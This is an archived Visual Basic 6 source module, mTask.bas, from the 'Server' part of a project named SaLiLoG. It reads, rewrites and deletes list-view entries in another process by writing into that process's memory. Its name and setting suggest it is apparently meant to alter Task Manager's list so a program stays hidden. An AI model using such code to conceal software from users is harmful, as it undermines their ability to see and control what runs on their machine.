home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 6_2008-2009.ISO / data / zips / SaLiLoG_-_2163539272009.psc / Server / mTask.bas < prev    next >
BASIC Source File  |  2009-09-26  |  5KB  |  121 lines

  1. Attribute VB_Name = "mTask"
  2. '                    SaLiLoG 1.0
  3. '                  By SaLar Zeynali
  4. '        Salixem@Gmail.Com - S4LiX3M@Yahoo.Com
  5. '  _________      .____    .______  ___        _____
  6. ' /   _____/____  |    |   |__\   \/  /____   /     \
  7. ' \_____  \\__  \ |    |   |  |\     // __ \ /  \ /  \
  8. ' /        \/ __ \|    |___|  |/     \  ___//    Y    \
  9. '/_______  (____  /_______ \__/___/\  \___  >____|__  /
  10. '        \/     \/        \/        \_/   \/        \/
  11.  
  12. Option Explicit
  13. Private Enum LVITEM_Mask
  14. LVIF_TEXT = &H1
  15. LVIF_IMAGE = &H2
  16. LVIF_PARAM = &H4
  17. LVIF_STATE = &H8
  18. LVIF_INDENT = &H10
  19. LVIF_NORECOMPUTE = &H800
  20. End Enum
  21. Private Enum LVITEM_States
  22. LVIS_FOCUSED = &H1
  23. LVIS_SELECTED = &H2
  24. LVIS_CUT = &H4
  25. LVIS_DROPHILITED = &H8
  26. LVIS_ACTIVATING = &H20
  27. LVIS_OVERLAYMASK = &HF00
  28. LVIS_STATEIMAGEMASK = &HF000
  29. End Enum
  30. Private Type LVITEM
  31. Mask As LVITEM_Mask
  32. iItem As Long
  33. iSubItem As Long
  34. State As LVITEM_States
  35. stateMask As LVITEM_States
  36. pszText As Long
  37. cchTextMax As Long
  38. iImage As Long
  39. lParam As Long
  40. iIndent As Long
  41. End Type
  42.  
  43. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
  44. Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  45. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  46. Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  47. Private Const LVM_FIRST As Long = &H1000
  48. Private Const LVM_GETITEMCOUNT As Long = (LVM_FIRST + 4)
  49. Private Const LVM_DELETEITEM As Long = (LVM_FIRST + 8)
  50. Private Const LVM_GETITEMTEXTA As Long = (LVM_FIRST + 45)
  51. Private Const LVM_SETITEMTEXTA As Long = (LVM_FIRST + 46)
  52.  
  53. Public Sub SetItemText(ByVal Handle As Long, ByVal pStr As String, ByVal Index As Long, Optional ByVal SubIndex As Long = 0)
  54. Dim hProcess As Long, SharedProcMem As Long, LVISize As Long
  55. Dim SharedProcMemString  As Long, strSize As Long
  56. Dim nCount As Long, LenWritten As Long, pId As Long
  57. Dim LVI As LVITEM
  58. Dim MemStorage() As Byte
  59. If IsWindowsNT Then
  60. LVISize = Len(LVI)
  61. Call GetWindowThreadProcessId(Handle, pId)
  62. SharedProcMem = GetMemSharedNT(pId, LVISize, hProcess)
  63. MemStorage = StrConv(pStr & vbNullChar, vbFromUnicode)
  64. strSize = UBound(MemStorage) + 1
  65. SharedProcMemString = GetMemSharedNT(pId, strSize, hProcess)
  66. With LVI
  67. .iItem = Index
  68. .iSubItem = SubIndex
  69. .cchTextMax = strSize
  70. .pszText = SharedProcMemString
  71. End With
  72. 'Write to memory
  73. WriteProcessMemory hProcess, ByVal SharedProcMemString, MemStorage(0), strSize, LenWritten
  74. WriteProcessMemory hProcess, ByVal SharedProcMem, LVI, LVISize, LenWritten
  75. 'Get the text
  76. Call SendMessage(Handle, LVM_SETITEMTEXTA, Index, ByVal SharedProcMem)
  77. 'Clean up
  78. FreeMemSharedNT hProcess, SharedProcMem, LVISize
  79. FreeMemSharedNT hProcess, SharedProcMemString, strSize
  80. End If
  81. End Sub
  82.  
  83. Public Function GetItemText(ByVal Handle As Long, ByVal Index As Long, Optional ByVal SubIndex As Long = 0) As String
  84. Dim hProcess As Long, SharedProcMem As Long, LVISize As Long
  85. Dim SharedProcMemString  As Long, strSize As Long
  86. Dim nCount As Long, LenWritten As Long, pId As Long
  87. Dim LVI As LVITEM
  88. Dim MemStorage() As Byte
  89. If IsWindowsNT Then
  90. LVISize = Len(LVI)
  91. MemStorage = StrConv(String$(255, 0), vbFromUnicode)
  92. strSize = UBound(MemStorage) + 1
  93. Call GetWindowThreadProcessId(Handle, pId)
  94. SharedProcMem = GetMemSharedNT(pId, LVISize, hProcess)
  95. SharedProcMemString = GetMemSharedNT(pId, strSize, hProcess)
  96. With LVI
  97. .iItem = Index
  98. .iSubItem = SubIndex
  99. .cchTextMax = strSize
  100. .pszText = SharedProcMemString
  101. End With
  102. WriteProcessMemory hProcess, ByVal SharedProcMem, LVI, LVISize, LenWritten
  103. Call SendMessage(Handle, LVM_GETITEMTEXTA, Index, ByVal SharedProcMem)
  104. ReadProcessMemory hProcess, ByVal SharedProcMemString, MemStorage(0), strSize, LenWritten
  105. FreeMemSharedNT hProcess, SharedProcMem, LVISize
  106. FreeMemSharedNT hProcess, SharedProcMemString, strSize
  107. End If
  108. GetItemText = StrConv(MemStorage, vbUnicode)
  109. If InStr(1, GetItemText, vbNullChar) Then
  110. GetItemText = Left$(GetItemText, InStr(1, GetItemText, vbNullChar) - 1)
  111. End If
  112. End Function
  113.  
  114. Public Function GetItemCount(ByVal Handle As Long) As Long
  115. GetItemCount = SendMessage(Handle, LVM_GETITEMCOUNT, 0&, ByVal 0&)
  116. End Function
  117.  
  118. Public Sub DeleteItem(ByVal Handle As Long, ByVal Index As Long)
  119. Call SendMessage(Handle, LVM_DELETEITEM, Index, ByVal 0&)
  120. End Sub
  121.